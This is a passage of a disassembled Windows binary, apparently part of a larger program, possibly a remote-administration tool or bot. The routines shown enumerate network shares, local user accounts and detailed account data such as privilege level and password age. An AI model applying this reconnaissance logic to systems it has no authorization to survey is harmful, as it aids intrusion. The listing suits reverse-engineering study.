		mov	esi, offset dword_4D8044
		push	off_4396FC[eax*4]
		push	offset dword_439D88
		push	esi
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_415C33
; ---------------------------------------------------------------------------


loc_415C13:				; CODE XREF: sub_415B7A+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4D8044
		lea	eax, [eax+eax*2]
		push	off_4396F8[eax*4]
		push	offset unk_439D64
		push	esi
		call	sub_417D96
		add	esp, 0Ch


loc_415C33:				; CODE XREF: sub_415B7A+65j
					; sub_415B7A+97j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_415B7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C39	proc near		; CODE XREF: sub_415B7A+6Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_415CA4
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_415CA4
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_4184B0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_415CA4
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4C9704
		pop	edi
		leave
		retn
sub_415C39	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CA4	proc near		; CODE XREF: sub_415C39+Ap
					; sub_415C39+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_415CB1
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_415CB1:				; CODE XREF: sub_415CA4+9j
		push	ebx
		push	esi
		mov	esi, dword_423164
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4194C5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415CA4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415CE5	proc near		; CODE XREF: sub_415B7A+20p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CA4
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CA4
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4C96E0
		pop	esi
		retn
sub_415CE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D08	proc near		; CODE XREF: sub_401AC7+3E06p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_415CA4
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 18h


loc_415D41:				; CODE XREF: sub_415D08+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4C9754
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_415DA4
		cmp	ebx, 0EAh
		jz	short loc_415DA4
		push	ebx
		push	ebx
		call	sub_4164BD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439DF0
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 24h
		jmp	short loc_415E11
; ---------------------------------------------------------------------------


loc_415DA4:				; CODE XREF: sub_415D08+5Dj
					; sub_415D08+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_415E08
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_415DB2:				; CODE XREF: sub_415D08+FCj
		push	dword ptr [esi+10h]
		call	dword_4C96F8	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_415DC9
		mov	eax, offset aNo	; "No"


loc_415DC9:				; CODE XREF: sub_415D08+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_415DB2
		xor	esi, esi


loc_415E08:				; CODE XREF: sub_415D08+A2j
		push	[ebp+var_4]
		call	dword_4C988C


loc_415E11:				; CODE XREF: sub_415D08+9Aj
		cmp	ebx, 0EAh
		jz	loc_415D41
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_415D08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E29	proc near		; CODE XREF: sub_401AC7:loc_405942p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_415ECD
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_415E6B
		dec	eax
		jz	short loc_415E60
		dec	eax
		jnz	short loc_415E86
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_415F6F
		add	esp, 14h
		jmp	short loc_415E82
; ---------------------------------------------------------------------------


loc_415E60:				; CODE XREF: sub_415E29+1Dj
		push	ebx
		push	edi
		call	sub_415F4E
		pop	ecx
		pop	ecx
		jmp	short loc_415E82
; ---------------------------------------------------------------------------


loc_415E6B:				; CODE XREF: sub_415E29+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_415E7F
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_415EF4
		add	esp, 0Ch
		jmp	short loc_415E82
; ---------------------------------------------------------------------------


loc_415E7F:				; CODE XREF: sub_415E29+45j
		push	57h
		pop	eax


loc_415E82:				; CODE XREF: sub_415E29+35j
					; sub_415E29+40j ...
		cmp	eax, edi
		jnz	short loc_415EA6


loc_415E86:				; CODE XREF: sub_415E29+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4D8248
		push	off_4396FC[eax*4]
		push	offset unk_439EA8
		push	esi
		call	sub_417D96
		add	esp, 10h
		jmp	short loc_415EED
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: sub_415E29+5Bj
		push	eax
		call	sub_4164BD
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4D8248
		push	off_4396F8[eax*4]
		push	offset unk_439E78
		push	esi
		call	sub_417D96
		add	esp, 18h
		jmp	short loc_415EED
; ---------------------------------------------------------------------------


loc_415ECD:				; CODE XREF: sub_415E29+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4D8248
		lea	eax, [eax+eax*2]
		push	off_4396F8[eax*4]
		push	offset unk_439E50
		push	esi
		call	sub_417D96
		add	esp, 0Ch


loc_415EED:				; CODE XREF: sub_415E29+7Bj
					; sub_415E29+A2j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415E29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415EF4	proc near		; CODE XREF: sub_415E29+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_415CA4
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_415CA4
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_415CA4
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4C96E8
		pop	edi
		leave
		retn
sub_415EF4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415F4E	proc near		; CODE XREF: sub_415E29+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_415CA4
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_415CA4
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4C96DC
		pop	esi
		retn
sub_415F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F6F	proc near		; CODE XREF: sub_415E29+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_415CA4
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_415CA4
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4C9854
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_4162FC
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_416337
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_417D96
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_416088
		dec	eax
		jz	short loc_416081
		dec	eax
		jz	short loc_41607A
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41608D
; ---------------------------------------------------------------------------


loc_41607A:				; CODE XREF: sub_415F6F+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41608D
; ---------------------------------------------------------------------------


loc_416081:				; CODE XREF: sub_415F6F+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41608D
; ---------------------------------------------------------------------------


loc_416088:				; CODE XREF: sub_415F6F+FCj
		mov	eax, offset aGuest ; "Guest"


loc_41608D:				; CODE XREF: sub_415F6F+109j
					; sub_415F6F+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408C5D
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_416328
; ---------------------------------------------------------------------------


loc_4162FC:				; CODE XREF: sub_415F6F+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439EC8
		push	eax
		call	sub_417D96
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_408C5D
		add	esp, 20h


loc_416328:				; CODE XREF: sub_415F6F+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_416337
		push	[ebp+var_4]
		call	dword_4C988C


loc_416337:				; CODE XREF: sub_415F6F+40j
					; sub_415F6F+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_415F6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41633D	proc near		; CODE XREF: sub_401AC7+3EA7p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_415CA4
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 18h


loc_41637C:				; CODE XREF: sub_41633D+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4C976C
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_4163DD
		cmp	eax, 0EAh
		jz	short loc_4163DD
		push	eax
		push	eax
		call	sub_4164BD
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_43A0A8
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 24h
		jmp	short loc_416458
; ---------------------------------------------------------------------------


loc_4163DD:				; CODE XREF: sub_41633D+62j
					; sub_41633D+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41646B
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_416458


loc_4163EF:				; CODE XREF: sub_41633D+EDj
		cmp	edi, esi
		jz	short loc_41642E
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_4	; "  %S"
		push	eax
		call	sub_417D96
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4163EF
		jmp	short loc_416458
; ---------------------------------------------------------------------------


loc_41642E:				; CODE XREF: sub_41633D+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_43A074
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 1Ch


loc_416458:				; CODE XREF: sub_41633D+9Ej
					; sub_41633D+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41646B
		push	edi
		call	dword_4C988C
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41646B:				; CODE XREF: sub_41633D+A5j
					; sub_41633D+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41637C
		cmp	edi, esi
		jz	short loc_416483
		push	edi
		call	dword_4C988C


loc_416483:				; CODE XREF: sub_41633D+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_41633D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4164BD	proc near		; CODE XREF: sub_415B7A+41p
					; sub_415D08+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_41656F
		jz	loc_416568
		cmp	eax, 7Bh
		ja	short loc_416534
		jz	short loc_41652A
		cmp	eax, 5
		jz	short loc_416520
		cmp	eax, 8
		jz	short loc_416516
		cmp	eax, 32h
		jz	short loc_41650C
		cmp	eax, 35h
		jz	short loc_416502
		cmp	eax, 57h
		jnz	loc_4165BE
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416502:				; CODE XREF: sub_4164BD+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_41650C:				; CODE XREF: sub_4164BD+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416516:				; CODE XREF: sub_4164BD+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416520:				; CODE XREF: sub_4164BD+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_41652A:				; CODE XREF: sub_4164BD+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416534:				; CODE XREF: sub_4164BD+1Aj
		sub	eax, 7Ch
		jz	short loc_416561
		sub	eax, 7C8h
		jz	short loc_41655A
		dec	eax
		jz	short loc_416550
		dec	eax
		jnz	short loc_4165BE
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_416550:				; CODE XREF: sub_4164BD+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_4165DF
; ---------------------------------------------------------------------------


loc_41655A:				; CODE XREF: sub_4164BD+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_416561:				; CODE XREF: sub_4164BD+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_416568:				; CODE XREF: sub_4164BD+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_41656F:				; CODE XREF: sub_4164BD+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_4165A8
		jz	short loc_4165A1
		sub	eax, 8ADh
		jz	short loc_4165D3
		dec	eax
		dec	eax
		jz	short loc_41659A
		dec	eax
		jz	short loc_416593
		dec	eax
		dec	eax
		jnz	short loc_4165BE
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_416593:				; CODE XREF: sub_4164BD+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_41659A:				; CODE XREF: sub_4164BD+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165A1:				; CODE XREF: sub_4164BD+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165A8:				; CODE XREF: sub_4164BD+B9j
		sub	eax, 8CAh
		jz	short loc_4165DA
		sub	eax, 17h
		jz	short loc_4165D3
		sub	eax, 25h
		jz	short loc_4165CC
		sub	eax, 29h
		jz	short loc_4165C5


loc_4165BE:				; CODE XREF: sub_4164BD+35j
					; sub_4164BD+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165C5:				; CODE XREF: sub_4164BD+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165CC:				; CODE XREF: sub_4164BD+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165D3:				; CODE XREF: sub_4164BD+C2j
					; sub_4164BD+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_4165DF
; ---------------------------------------------------------------------------


loc_4165DA:				; CODE XREF: sub_4164BD+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_4165DF:				; CODE XREF: sub_4164BD+40j
					; sub_4164BD+4Aj ...
		push	offset dword_4D7FE8
		call	sub_417D96
		pop	ecx
		mov	eax, offset dword_4D7FE8
		pop	ecx
		retn
sub_4164BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165F1	proc near		; CODE XREF: sub_401AC7+3EEDp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_419B84
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4230C0	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_419B84
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_419B67
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4C9810
		test	eax, eax
		jnz	short loc_416681
		mov	esi, offset dword_4D7DE4
		push	offset unk_43A3DC
		push	esi
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_4166AA
; ---------------------------------------------------------------------------


loc_416681:				; CODE XREF: sub_4165F1+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4164BD
		pop	ecx
		mov	esi, offset dword_4D7DE4
		push	eax
		push	offset dword_43A3B0
		push	esi
		call	sub_417D96
		add	esp, 14h


loc_4166AA:				; CODE XREF: sub_4165F1+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4165F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


